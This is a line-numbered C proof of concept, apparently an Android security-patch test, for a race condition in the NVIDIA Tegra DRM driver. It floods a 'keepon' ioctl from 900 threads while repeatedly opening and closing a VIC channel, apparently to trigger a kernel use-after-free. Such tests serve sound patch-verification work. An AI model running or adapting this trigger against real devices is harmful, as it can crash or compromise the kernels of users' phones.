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      1 /*
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 #define _GNU_SOURCE
     17 #include <stdio.h>
     18 #include <stdlib.h>
     19 #include <pthread.h>
     20 #include <sys/ioctl.h>
     21 #include <errno.h>
     22 #include <sys/stat.h>
     23 #include <fcntl.h>
     24 #include <sched.h>
     25 #include <sys/types.h>
     26 #include <signal.h>
     27 #include <unistd.h>
     28 
     29 #define KEEPON_THREAD_NUM	900
     30 #define TRY_TIMES	KEEPON_THREAD_NUM
     31 #define DEV "/dev/dri/renderD129"
     32 
     33 #define SIOCIWFIRSTPRIV 0x8BE0
     34 #define SIOCGIWNAME     0x8B01
     35 #define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
     36 #define PRIV_CUSTOM_BWCS_CMD            13
     37 #define PRIV_CMD_OID                    15
     38 #define PRIV_CMD_SW_CTRL                20
     39 #define PRIV_CMD_WSC_PROBE_REQ          22
     40 
     41 enum host1x_class {
     42         HOST1X_CLASS_HOST1X = 0x1,
     43         HOST1X_CLASS_NVENC = 0x21,
     44         HOST1X_CLASS_VI = 0x30,
     45         HOST1X_CLASS_ISPA = 0x32,
     46         HOST1X_CLASS_ISPB = 0x34,
     47         HOST1X_CLASS_GR2D = 0x51,
     48         HOST1X_CLASS_GR2D_SB = 0x52,
     49         HOST1X_CLASS_VIC = 0x5D,
     50         HOST1X_CLASS_GR3D = 0x60,
     51         HOST1X_CLASS_NVJPG = 0xC0,
     52         HOST1X_CLASS_NVDEC = 0xF0,
     53 };
     54 
     55 #define DRM_COMMAND_BASE                0x40
     56 #define DRM_COMMAND_END                 0xA0
     57 #define DRM_TEGRA_OPEN_CHANNEL          0x05
     58 #define DRM_TEGRA_CLOSE_CHANNEL         0x06
     59 #define DRM_TEGRA_START_KEEPON		0x10
     60 
     61 struct drm_tegra_open_channel {
     62         __u32 client;
     63         __u32 pad;
     64     volatile __u64 context;
     65 };
     66 
     67 struct drm_tegra_close_channel {
     68     volatile __u64 context;
     69 };
     70 
     71 struct drm_tegra_keepon {
     72 	volatile __u64 context;
     73 };
     74 
     75 #define DRM_IOCTL_BASE                  'd'
     76 #define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
     77 
     78 #define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
     79 #define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
     80 #define DRM_IOCTL_TEGRA_START_KEEPON DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_START_KEEPON, struct drm_tegra_keepon)
     81 
     82 int fd;
     83 pthread_t keepon_thread_id[KEEPON_THREAD_NUM] = { 0 };
     84 
     85 volatile struct drm_tegra_open_channel open_c = { 0 };
     86 volatile struct drm_tegra_close_channel close_c = { 0 };
     87 volatile struct drm_tegra_keepon keepon_c = { 0 };
     88 
     89 static int set_affinity(int num)
     90 {
     91 	int ret = 0;
     92 	cpu_set_t mask;
     93 	CPU_ZERO(&mask);
     94 	CPU_SET(num, &mask);
     95 	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
     96 	if(ret == -1){
     97 	}
     98 	return ret;
     99 }
    100 
    101 static void prepare()
    102 {
    103 	open_c.client = HOST1X_CLASS_VIC;
    104 }
    105 
    106 void* keepon_thread(void* no_use)
    107 {
    108 	set_affinity(1);
    109 
    110 	while(1){
    111 		ioctl(fd, DRM_IOCTL_TEGRA_START_KEEPON, &keepon_c);
    112 	}
    113 }
    114 
    115 int main()
    116 {
    117 	int i, try_time = TRY_TIMES, ret;
    118 
    119 	/* bind_cpu */
    120 	set_affinity(0);
    121 
    122 	/* open dev */
    123 	fd = open(DEV,O_RDONLY);
    124 	if(fd == -1){
    125 		return 0;
    126 	}
    127 
    128 	/* prepare ioctl cmd */
    129 	prepare();
    130 
    131 	/* create keepon thread */
    132 	for(i = 0; i < KEEPON_THREAD_NUM; i++){
    133 		ret = pthread_create(keepon_thread_id + i, NULL, keepon_thread, NULL);
    134 		if(ret){
    135 			goto out_keepon_thread;
    136 		}
    137 	}
    138 
    139 	while(try_time){
    140 		/* open */
    141 		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
    142 		if(ret == 0){
    143 			try_time--;
    144 			/* set keepon */
    145 			keepon_c.context = open_c.context;
    146 			/* set close */
    147 			close_c.context = open_c.context;
    148 			usleep(500);
    149 			ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
    150 		}
    151 	}
    152 
    153 out_keepon_thread:
    154 	/* kill keepon thread */
    155 	for(i = 0; i < KEEPON_THREAD_NUM; i++){
    156 			pthread_kill(keepon_thread_id[i], SIGKILL);
    157 	}
    158 out_dev:
    159 	close(fd);
    160 	return 0;
    161 }
    162